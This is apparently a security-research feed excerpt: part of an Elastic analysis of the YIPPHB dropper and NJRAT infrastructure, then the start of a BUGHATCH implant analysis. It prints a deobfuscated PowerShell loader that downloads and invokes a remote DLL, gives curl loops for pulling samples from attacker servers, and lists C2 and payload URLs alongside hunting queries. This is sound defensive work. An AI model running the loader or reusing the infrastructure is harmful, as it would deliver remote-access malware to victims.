<p>The next step is to capture the strings used in the Powershell <strong>replace</strong> commands so we can perform that function ourselves. The best way to do this using <strong>awk</strong> is by capturing them with a regular expression.</p>
<p>This matches the first and second arguments to replace. The first argument is Unicode and possibly not friendly as an <strong>awk</strong> pattern, so we’ll need to escape it first. Once we’ve made the replacement, we’ll print out the “clean” code, the string to find, and the replacement text.</p>
<pre><code>function escape_string( str ) {
    gsub(/[\\.^$(){}\[\]|*+?]/, "\\\\&amp;", str)
    return str
}
{
    match($0, /replace\('\''(.*)'\'' *, *'\''(.*)'\''/, arr);
    str=escape_string(arr[1]);
    rep=arr[2];
    print gensub(str, rep, "g")
}
</code></pre>
<p>Finally we can <strong>grep</strong> out the Base64 code (using another regex) and reveal the obfuscated Powershell script.</p>
<pre><code>grep -oP ''\''\K[A-Za-z0-9+/]+={0,2}(?='\'';)'
</code></pre>
<p>This automates the manual conversion process we outlined in the Loader, Dropper, and RAT phases above.</p>
<pre><code>$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
</code></pre>
<p>Parsing the URLs from this text should be another simple <strong>awk</strong> match, followed by flipping the second URL, however, Powershell’s default encoding is <strong>UTF-16LE</strong> and <strong>awk</strong> only supports <strong>UTF-8</strong> or ASCII encoding. A tool called <a href="https://linux.die.net/man/1/iconv"><strong>iconv</strong></a> can perform the necessary conversion.</p>
<pre><code>echo "${line}" | base64 -d | iconv -f UTF-16 -t UTF-8 | awk '{ if ( match($0, /'\''([^'\'']+\/\/:s?ptth)'\''/, arr)) { n=split(arr[1],arr2,""); for(i=1;i&lt;=n;i++){s=arr2[i] s}; print s}; if ( match($0, /'\''(https?:\/\/[^'\'']+)'\''/, arr)){ print arr[1] } }'
</code></pre>
<p>Once converted, the rest is straightforward parsing. Our output will contain <strong>url1</strong> , <strong>url2</strong> , and a copy of the Unicode strings and their replacements. The URLs are the forward and reverse URLs for each code sample, respectively.</p>
<p>| Unicode icon | Replacement | url1                                         | url2                                                         |
| ------------ | ----------- | -------------------------------------------- | ------------------------------------------------------------ |
| ⌚⌚⌚        | U           | <code>https://tinyurl[.]com/2erph6cs</code>             | <code>https://cdn.discordapp[.]com/...truncated.../10oct8000.txt</code> |
| ⌚⌚⌚        | U           | <code>http://91.241.19[.]49/ARTS/dllf3txt</code>        | <code>http://91.241.19[.]49/test/new/ZX1.txt</code>                     |
| ⁂            | A           | <code>http://20.231.55[.]108/dll/06-07-2022.PDF</code>  | <code>http://212.192.246[.]226/dsaffdffa.txt</code>                     |</p>
<p>For further details or to try it against your own data, see the <a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8f67cd063158a2dc/637bc872cca9f010a904ea67/ref4526_url_extraction.zip">shell script</a> that combines it all.</p>
<p>Now that we have automated the collection and parsing of the URLs for the loader and dropper, we can move on to the RAT infrastructure.</p>
<h4 id="rat">RAT</h4>
<p>As evident in the original Powershell script, we know the RAT uses additional network infrastructure. To enumerate this, we need to pull down the RAT much like the dropper would, take a unique set URLs for each <strong>url1</strong> and <strong>url2</strong> output in the previous step, loop through each list, and use <strong>curl</strong> to download them.</p>
<blockquote>
  <p>This process requires interacting with adversary-owned or controlled infrastructure. Interacting with adversary infrastructure requires disciplined preparation that not all organizations are ready to pursue. If you don't already have strong knowledge of legal considerations, defensive network egress points, sandboxes, an intelligence gain/loss strategy, etc., the following is presented informationally.</p>
</blockquote>
<p>As the loader never saves the downloaded files to disk and there aren’t always filenames, so to keep track of samples, we’ll use a simple counter. This gives us this simple loop:</p>
<pre><code>ctr=1
for line in $(cat ../url-1.txt); do
    curl -v -A "${USER_AGENT}" -o "file-${ctr}" -L --connect-timeout 10 "${line}" 2&gt;&gt;"log-${ctr}.txt"
    ctr=$((ctr + 1))
done
</code></pre>
<p>We use <strong>-v</strong> to capture the request and response headers, <strong>-L</strong> to follow redirects, and <strong>--connect-timeout</strong> to speed up the process when the infrastructure is down. Finally, save the <strong>curl</strong> output to a log file while any files downloaded are saved as <strong>file-X</strong> , where <strong>X</strong> is the value of the counter.</p>
<p>Any RAT files downloaded are Base64-encoded. We can identify valid Base64-encoded files using the <strong>file</strong> command. A Base64-encoded file will be identified as “ASCII text, with very long lines (<em>length</em>), with no line terminators” where <em>length</em> is the file size. For files that match this language, we’ll decode them and save them with a <strong>.dll</strong> extension.</p>
<pre><code>for entry in $(file file-?? | awk -F": " '$2 ~ /^ASCII text.*very long lines/  {print $1}'); do
    rev  &lt;"${entry}" | base64 -d &gt;"${entry}.dll"
done
</code></pre>
<p>Now that we have the RAT binaries, we can do some typical static analysis on them. If you have the <a href="https://github.com/VirusTotal/vt-cli">VirusTotal command line tool</a> and can make API queries, searching for known files is another simple loop over all the saved <strong>dll</strong> files.</p>
<pre><code>for entry in *.dll; do
    hash=$(sha256sum "${entry}" | awk '{print $1}')
    vt search "${hash}" &gt;"${entry}.vt.yml"
done
</code></pre>
<p>Looking at the output, we can see that any <strong>yml</strong> file (the <strong>vt</strong> command output) with <strong>0</strong> bytes means no match. These files are unknown to VirusTotal. In this output, we can see that <strong>file-30.dll</strong> , <strong>file-31.dll</strong> , and <strong>file-34.dll</strong> are unknown to VirusTotal.</p>
<pre><code>$ ls -s *.dll{,.vt.yml}

 32 file-28.dll
 32 file-28.dll.vt.yml
 32 file-30.dll
  0 file-30.dll.vt.yml
 32 file-31.dll
  0 file-31.dll.vt.yml
468 file-34.dll
  0 file-34.dll.vt.yml
 48 file-35.dll
 40 file-35.dll.vt.yml
 80 file-38.dll
 36 file-38.dll.vt.yml
</code></pre>
<p>The final analysis we’re going to perform is to attempt to dump any domain names from the DLLs. For many executable file formats, the <strong>strings</strong> command can provide that information. Unfortunately, most of these DLLs are .Net assemblies and the <strong>strings</strong> command won’t work to extract strings from .Net assemblies. The <strong>file</strong> command can again help us identify these as in this example:</p>
<pre><code>$ file file-31.dll
file-31.dll: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
</code></pre>
<p>The upside of .Net is that it is easily disassembled and the Mono project provides a tool just for that purpose, <a href="https://www.mono-project.com/docs/tools+libraries/tools/"><strong>ikdasm</strong></a>. This gives us our final loop to search for domain names or references to HTTP URLs.</p>
<pre><code>for item in *.dll; do
    ikdasm "${item}" | grep -E '(\.(org|com|net|ly))|((yl|ten|moc|gro)\.)|("http|ptth")';
Done
</code></pre>
<p>For more details you can refer to this <a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdeb8fbbb0f53fa97/637bc87271c75510a0ca1a95/ref4526_rat_collection.zip">shell script</a> that puts this second stage of analysis together.</p>
<h2 id="diamondmodel">Diamond Model</h2>
<p>Elastic Security utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between adversaries and victims of intrusions.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdb3f1bb0dd1efbf0/6a7c7f37e02fac495a5d0445/image1.png" alt="REF4526 diamond model" title="REF4526 diamond model" /></p>
<h2 id="observedadversarytacticsandtechniques">Observed adversary tactics and techniques</h2>
<p>Elastic uses the MITRE ATT&amp;CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3 id="tactics">Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0042/">Resource Development</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h3 id="techniquessubtechniques">Techniques / Sub techniques</h3>
<p>Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1583/">Acquire Infrastructure</a></li>
<li><a href="https://attack.mitre.org/techniques/T1608/001/">Stage Capabilities: Upload Malware</a></li>
<li><a href="https://attack.mitre.org/techniques/T1547/001/">Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/005/">Command and Scripting Interpreter: Visual Basic</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1218/004/">System Binary Proxy Execution: InstallUtil</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
</ul>
<h2 id="detectionlogic">Detection logic</h2>
<h3 id="behaviorrules">Behavior rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_webservice_by_a_signed_binary_proxy.toml">Connection to WebService by a Signed Binary Proxy</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_powershell_execution.toml">Suspicious PowerShell Execution</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_execution_with_unusual_file_extension.toml">Process Execution with Unusual File Extension</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/persistence_script_file_written_to_startup_folder.toml">Script File Written to Startup Folder</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_powershell_execution_via_windows_scripts.toml">Suspicious PowerShell Execution via Windows Scripts</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_dynamic_dns_provider_by_an_unsigned_binary.toml">Connection to Dynamic DNS Provider by an Unsigned Binary</a></li>
</ul>
<h3 id="huntingqueries">Hunting queries</h3>
<p>Identifying Unicode in Powershell can be accomplished with either a KQL or EQL query.</p>
<p>The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration.</p>
<h4 id="kqlquery">KQL query</h4>
<p>Using the Discover app in Kibana, the below query will identify the use of Powershell with Unicode strings. While this identified all of the events in this research, it also identified other events that were not part of the REF4526 intrusion set.</p>
<p>The proceeding and preceding wildcards ( <strong>*</strong> ) can be an expensive search over a large number of events.</p>
<pre><code>process.pe.original_file_name : "PowerShell.EXE" and process.command_line : (*Unicode.GetString* and *replace*)
</code></pre>
<h4 id="eqlquery">EQL query</h4>
<p>Using the <a href="https://www.elastic.co/guide/en/security/current/timelines-ui.html#filter-with-eql">Timeline section</a> of the Security Solution in Kibana under the “Correlation” tab, this query will identify the use of Powershell with Unicode strings and the <strong>replace</strong> function. This identified all observed REF4526 events.</p>
<pre><code>intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")
</code></pre>
<h2 id="references">References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara">https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat">https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat">https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat</a></li>
<li><a href="https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html">https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html</a></li>
<li><a href="https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/">https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/</a></li>
<li><a href="https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs">https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs</a></li>
<li><a href="https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a">https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a</a></li>
<li><a href="https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/">https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/</a></li>
</ul>
<h2 id="observables">Observables</h2>
<p>All observables are also available for <a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc0eb869ac242975f/637bf8b1fa033a109b5d94bd/ref4526-indicators.zip">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<p>| Observable                                                                                      | Type        | Reference     | Note                             |
| ----------------------------------------------------------------------------------------------- | ----------- | ------------- | -------------------------------- |
| 49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2                                | SHA-256     | dllsica.bin   | Initial loader                   |
| bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf                                | SHA-256     | pesica.bin    | YIPPHB downloader                |
| 1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3                                | SHA-256     | 10oct8000     | NJRAT implant                    |
| <code>https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt</code> | url         | Loader phase  | NJRAT download location          |
| <code>https://tinyurl[.]com/2erph6cs</code>                                                                | url         | Loader phase  | REF4526 loader download location |
| <code>https://tinyurl[.]com/4vfu6wd</code>                                                                 | url         | Dropper phase | YIPPHB download location         |
| wins10ok.duckdns[.]org                                                                          | domain-name | NJRAT C2      | NA                               |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/doing-time-with-the-yipphb-dropper</link>
    <guid isPermaLink="false">doing-time-with-the-yipphb-dropper</guid>
    <category><![CDATA[Threat Intelligence]]></category>
    <dc:creator><![CDATA[Seth Goodwin,Derek Ditch,Salim Bitam,Remco Sprooten,Andrew Pease]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltaab9e29a98ba26e7/6a7c7f3a2f00b256ccef8dd9/time-watch-theme-machines-gears.jpg" length="0" type="image/jpeg"/>
    <pubDate>Mon, 21 Nov 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[BUGHATCH Malware Analysis]]></title>
    <description><![CDATA[Elastic Security has performed a deep technical analysis of the BUGHATCH malware. This includes capabilities as well as defensive countermeasures.]]></description>
    <content:encoded><![CDATA[<h2 id="keytakeaways">Key takeaways</h2>
<ul>
<li>Elastic Security Labs is releasing a BUGHATCH malware analysis report from a recent <a href="https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis">campaign</a></li>
<li>This report covers detailed code analysis, network communication protocols, command handling, and observed TTPs</li>
<li>From this research we produced a <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Bughatch.yar">YARA rule</a> to detect the BUGHATCH downloader</li>
</ul>
<h2 id="preamble">Preamble</h2>
<p>BUGHATCH is an implant of a custom C2 deployed during the CUBA ransomware campaigns we observed in February of 2022, this tool was most likely built by the threat actor themselves as it was not used previously.</p>
<p>BUGHATCH is capable of downloading and executing commands and arbitrary code, it gives the operator the freedom to execute payloads with different techniques like reflection, shellcode execution, system command execution, and so on. The samples we have seen were not obfuscated and were deployed using a custom obfuscated in-memory dropper written in PowerShell and referred to as <a href="https://www.mandiant.com/resources/unc2596-cuba-ransomware">TERMITE by Mandiant</a>.</p>
<p>In this document, we will go through the execution flow of BUGHATCH highlighting its functionalities and code execution techniques, a YARA rule and the MITRE ATT&amp;CK mapping can be found in the appendix.</p>
<p>In this analysis we will describe the following:</p>
<ul>
<li>Token adjustment</li>
<li>Information collection</li>
<li>Threading and thread synchronization</li>
<li>Network communication protocol</li>
<li>Command handling</li>
</ul>
<blockquote>
  <p>For information on the CUBA ransomware campaign and associated malware analysis, check out our blog posts detailing this:</p>
  <ul>
  <li><a href="https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis">CUBA Ransomware Campaign</a></li>
  <li><a href="https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis">CUBA Malware Analysis</a></li>
  </ul>
</blockquote>
<h2 id="staticanalysis">Static analysis</h2>
<p>|              |                                                                  |
| ------------ | ---------------------------------------------------------------- | --- |
| SHA256       | F1325F8A55164E904A4B183186F44F815693A008A9445D2606215A232658C3CF |
| File Size    | 35840 bytes                                                      |
| File Type:   | Win32 executable                                                 |
| Signed?      | No                                                               |
| Packer?      | No                                                               |
| Compiler     | Visual Studio 2017 - 15.5.0 preview 2                            |
| Compile Time | Sun Feb 06 21:05:18 2022                                         | UTC |
| Entropy      | 6.109                                                            |</p>
<h3 id="sections">Sections</h3>
<p>|        |                |              |          |         |                                  |
| ------ | -------------- | ------------ | -------- | ------- | -------------------------------- |
| Name   | VirtualAddress | Virtual Size | Raw Size | Entropy | MD5                              |
| .text  | 0x1000         | 0x6000       | 0x5400   | 5.933   | A6E30CCF838569781703C943F18DC3F5 |
| .rdata | 0x7000         | 0x3000       | 0x2A00   | 6.217   | 9D9AD1251943ECACE81644A7AC320B3C |
| .data  | 0xA000         | 0x1000       | 0x400    | 1.163   | B983B8EB258220628BE2A88CA44286B4 |
| .reloc | 0xB000         | 0x424        | 0x600    | 5.235   | 39324A58D79FC5B8910CBD9AFBF1A6CB |</p>
<h2 id="codeanalysis">Code analysis</h2>
<p>BUGHATCH is an in-memory implant loaded by an obfuscated PowerShell script that decodes and executes an embedded shellcode blob in its allocated memory space using common Windows APIs ( <strong>VirtualAlloc</strong> , <strong>CreateThread, WaitForSingleObject</strong> ).</p>
<p>The PowerShell loader uses inline C# to load APIs needed for shellcode injection as seen in the following pseudocode.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt03448e6babc4535c/6a7c7a3205b7b5c147185980/image12.jpg" alt="Pseudocode PowerShell inline C#" title="Pseudocode PowerShell inline C#" /></p>
<p>The PowerShell script is obfuscated with random functions and variable names and contains the shellcode in a reverse-Base64 format.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt790967ceb1688df4/6a7c7a353ce8e2975ecef60a/image10.png" alt="Pseudocode embedded shellcode in Base64 format" title="Pseudocode embedded shellcode in Base64 format" /></p>
<p>The script first decodes the reverse-Base64 encoded data, then allocates a memory region with <strong>VirtualAlloc</strong> before copying the shellcode into it. Finally, the script executes the shellcode by creating a new thread with the <strong>CreateThread</strong> API.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8de14b33db843bba/6a7c7a388fc2d0c28d3e87f3/image38.jpg" alt="Pseudocode PowerShell creates a new thread to execute the shellcode" title="Pseudocode PowerShell creates a new thread to execute the shellcode" /></p>
<p>The shellcode downloads another shellcode blob and the encrypted PE implant from the C2 server, this second shellcode decrypts and reflectively loads the PE malware.</p>
<p>This section dives deeper into the BUGHATCH execution flow, threading and encryption implementation, communication protocol with C2, and finally supported commands and payload execution techniques implemented.</p>
<p>The following is a diagram summarizing the execution flow of the implant:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf15f923ea4ec54dd/6a7c7a3bbdcff07ec4c3cfd3/image16.png" alt="Execution flow diagram of BUGHATCH" title="Execution flow diagram of BUGHATCH" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbb5fe0345c37fc53/6a7c7a3d73d9bdf05b297b24/image15.jpg" alt="Pseudocode of the main function" title="Pseudocode of the main function" /></p>
<h3 id="tokenadjustment">Token adjustment</h3>
<p>The implant starts by elevating permissions using the <strong>SeDebugPrivilege</strong> method, enabling the malware to access and read the memory of other processes. It leverages common Windows APIs to achieve this as shown in the pseudocode below:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfe27cdfa37181db5/6a7c7a40e88c65b6bd005739/image20.jpg" alt="" /></p>
<h3 id="informationcollection">Information collection</h3>
<p>The malware collects host-based information used to fingerprint the infected system, this information will be stored in a custom structure that will be 2-byte XOR encrypted and sent to the C2 server in an HTTP POST request.</p>
<p>The following lists the collected information:</p>
<ul>
<li>Current value of the performance counter</li>
<li>Network information</li>
<li>System information</li>
<li>Token information</li>
<li>Domain and Username of the current process</li>
<li>Current process path</li>
</ul>
<h4 id="currentvalueoftheperformancecounter">Current value of the performance counter</h4>
<p>Using the <strong>QueryPerformanceCounter</strong> API, it collects the amount of time since the system was last booted. This value will be used to compute the 2-byte XOR encryption key to encrypt communications between the implant and the C2 server, a detailed analysis of the encryption implementation will follow.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt656a09dab100c758/6a7c7a4373d9bd70a0297b28/image42.jpg" alt="Pseudocode QueryPerformanceCounter function" title="Pseudocode QueryPerformanceCounter function" /></p>
<h4 id="networkinformation">Network information</h4>
<p>It collects the addresses of network interfaces connected to the infected machine by using the <strong>GetIpAddrTable</strong> Windows API.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt459fcd9b37c0439f/6a7c7a4696b5a6788d8754a6/image22.jpg" alt="Pseudocode collecting interface addresses" title="Pseudocode collecting interface addresses" /></p>
<h4 id="systeminformation">System information</h4>
<p>BUGHATCH collects key system information which includes:</p>
<ul>
<li>Windows major release, minor release, and build number</li>
<li>Processor architecture (either 32-bit or 64-bit)</li>
<li>Computer name</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb4b44ae63babb324/6a7c7a49448e4e858a5baa7e/image18.jpg" alt="Pseudocode collecting system information" title="Pseudocode collecting system information" /></p>
<h4 id="tokeninformation">Token information</h4>
<p>The agent proceeds to collect the current process token group membership, it invokes the <strong>AllocateAndInitializeSid</strong> API followed by the <strong>CheckTokenMembership</strong> API, concatenating the <a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/sid-strings">SDDL SID strings</a> for every group the process token is part of. While not unique to BUGHATCH, this is detected by Elastic's <a href="https://www.elastic.co/guide/en/security/current/enumeration-of-privileged-local-groups-membership.html">Enumeration of Privileged Local Groups Membership</a> detection rule.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt291ffd1d48a420ad/6a7c7a4be88c6591fa00573d/image29.jpg" alt="Pseudocode collecting token group membership information" title="Pseudocode collecting token group membership information" /></p>
<h4 id="domainandusernameofthecurrentprocess">Domain and username of the current process</h4>
<p>The malware opens a handle to the current process with <strong>OpenProcessToken</strong> and gets the structure that contains the user account of the token with <strong>GetTokenInformation</strong>. It then retrieves the username and domain of the user account with the <strong>LookupAccountSidW</strong> API and concatenates the 2 strings in the following format: <strong>DOMAIN\USERNAME</strong>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt62f1bd28e727083f/6a7c7a4e80ee380a5460d0a6/image14.jpg" alt="" /></p>
<h4 id="currentprocesspath">Current process path</h4>
<p>Finally, it collects the current process path with <strong>GetModuleFileNameW</strong>. The malware then encrypts the entire populated structure with a simple 2-byte XOR algorithm, this encryption implementation is detailed later in the report.</p>
<h2 id="threadingandthreadsynchronization">Threading and thread synchronization</h2>
<p>The implant is multithreaded; it uses two different linked lists, one is filled with the commands received from the C2 server and the other is filled with the output of the commands executed.</p>
<p>It spawns 5 worker threads, each handling a command received from the C2 server by accessing the appropriate linked list using the <strong>CriticalSection</strong> object. The main process’ thread also retrieves the command's output from the second linked list using the <strong>CriticalSection</strong> object for synchronization purposes, to avoid any race conditions.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte750acb74422f2d7/6a7c7a51227b1c7f205925c1/image45.jpg" alt="Pseudocode of the thread creation function" title="Pseudocode of the thread creation function" /></p>
<h2 id="networkcommunicationprotocol">Network communication protocol</h2>
<p>In this section we will detail:</p>
<ul>
<li>Base communication protocol</li>
<li>Encryption implementation</li>
</ul>
<p>The implant we analyzed uses HTTP(S) for communications. On top of the SSL encryption of the protocol, the malware and C2 encrypt the data with a 2-byte XOR key computed by the malware for each new session. The values to compute the 2-byte XOR key are prepended at the beginning of the base protocol packet which the server extracts to decrypt/encrypt commands.</p>
<p>When launched, the malware will first send an HTTP POST request to the C2 server containing all the collected information extracted from the victim’s machine, the C2 then responds with the operator’s command if available, or else the agent sleeps for 60 seconds. After executing the command and only if the output of the executed command is available, the malware will send a POST request containing both the collected information and the command’s output, otherwise, it sends the collected information and waits for new commands.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd0758d804401f9e2/6a7c7a54bd21989d927521bf/image32.png" alt="Example of an implant HTTP POST request to an emulated C2 server" title="Example of an implant HTTP POST request to an emulated C2 server" /></p>
<h3 id="basecommunicationprotocol">Base communication protocol</h3>
<p>The author(s) of BUGHATCH implemented a custom network protocol, the following is the syntax that the agent and server use for their communication:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt45a6b9b202e8eb9d/6a7c7a5780ee386eb760d0aa/BugHatchanalysisreport_html.jpg" alt="BUGHATCH agent and server communications" title="BUGHATCH agent and server communications" /></p>
<ul>
<li><strong>XOR key values:</strong> The values to compute the 2-byte XOR encryption key used to encrypt the rest of the data</li>
<li><strong>Separator:</strong> A static value ( <strong>0x389D3AB7</strong> ) that separates <strong>Msg</strong> chunks, example: the server can send different instructions in the same HTTP request separated by the <strong>Separator</strong></li>
<li><strong>Chunk length:</strong> Is the length of the <strong>Msg</strong> , <strong>Separator</strong> and <strong>Chunk length</strong></li>
<li><strong>Msg:</strong> Is the message to be sent, the message differs from the agent to the server.</li>
</ul>
<p>We will dive deeper into the encapsulation of the <strong>Msg</strong> for both the agent and the server.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4610436469383fcd/6a7c7a5afc63ab086a646e4a/image40.jpg" alt="Pseudocode extracting commands according to the separator value" title="Pseudocode extracting commands according to the separator value" /></p>
<h3 id="encryptionimplementation">Encryption implementation</h3>
<p>The malware uses 2-byte XOR encryption when communicating with the C&amp;C server; a 2-byte XOR key is generated and computed by the implant for every session with the C2 server.</p>
<p>The agent uses two DWORD values returned by <strong>QueryPerformanceCounter</strong> API as stated earlier, it then computes a 2-byte XOR key by XOR-encoding the DWORD values and then multiplying and adding hardcoded values. The following is a Python pseudocode of how the KEY is computed:</p>
<pre><code>tmp = (PerformanceCount[0] ^ PerformanceCount[1]) &amp; 0xFFFFFFFF
XorKey = (0x343FD * tmp + 0x269EC3)&amp; 0xFFFFFFFF
XorKey = p16(XorKey &gt;&gt; 16).ljust(2, b'\x00')
</code></pre>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdb1ea54c65957bf6/6a7c7a5c80ee38a0a860d0ae/image9.jpg" alt="Pseudocode of the encryption implementation" title="Pseudocode of the encryption implementation" /></p>
<h2 id="commandhandling">Command handling</h2>
<p>In this section, we will dive deeper into the functionalities implemented in the agent and their respective <strong>Msg</strong> structure that will be encapsulated in the base communication protocol structure as mentioned previously.</p>
<p>Once the working threads are started, the main thread will continue beaconing to the C2 server to retrieve commands. The main loop is made up of the following:</p>
<ul>
<li>Send POST request</li>
<li>Decrypt the received command and add it to the linked list</li>
<li>Sleep for 60 seconds</li>
</ul>
<p>A working thread will first execute the <strong>RemoveEntryRecvLinkedList</strong> function that accesses and retrieves the data sent by the C2 server from the linked list.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt46ebfee9960f94f1/6a7c7a5f448e4ede635baa82/image43.jpg" alt="Pseudocode retrieves data sent by the C2" title="Pseudocode retrieves data sent by the C2" /></p>
<p>The thread will then de-encapsulate the data received from the C2 and extract the <strong>Msg(Command)</strong>. The malware implements different functionalities according to a command flag, the table below illustrates the functionalities of each command:</p>
<p>|              |                                                                       |
| ------------ | --------------------------------------------------------------------- |
| Command FLAG | Description                                                           |
| 1            | Group functions related to code and command execution                 |
| 2            | Group functions related to utilities like impersonation and migration |
| 3            | Process injection of a PE file in a suspended child process           |</p>
<h3 id="command1">Command 1</h3>
<p>This command gives access to functionalities related to payload execution, from DLL to PE executable to PowerShell and cmd scripts.</p>
<p>Some of the sub-commands use pipes to redirect the standard input/output of the child process, which enables the attacker to execute payloads and retrieve its output, for example, PowerShell or Mimikatz, etc…</p>
<p>The following is the list of sub commands:</p>
<p>|                  |                             |                                                                                                                                           |
| ---------------- | --------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
| Sub Command Flag | Function Name               | Functionality description                                                                                                                 |
| 2                | ReflectivelyExecutePERemote | Reflectively loads PE files in a child process and redirects its standard input output, the output will be sent to the operator C2 server |
| 3                | DropPEDiskExecute           | Drops a PE file to disk and executes it, the execution output is then sent to the operator’s C2 server                                    |
| 4                | SelfShellcodeExecute        | Executes a shellcode in the same process                                                                                                  |
| 5                | RemoteShellcodeExecute      | Executes a shellcode in a suspended spawned child process                                                                                 |
| 6                | ExecuteCmd                  | Executes a CMD script/command                                                                                                             |
| 7                | ExecutePowershell           | Executes a Powershell script/command                                                                                                      |
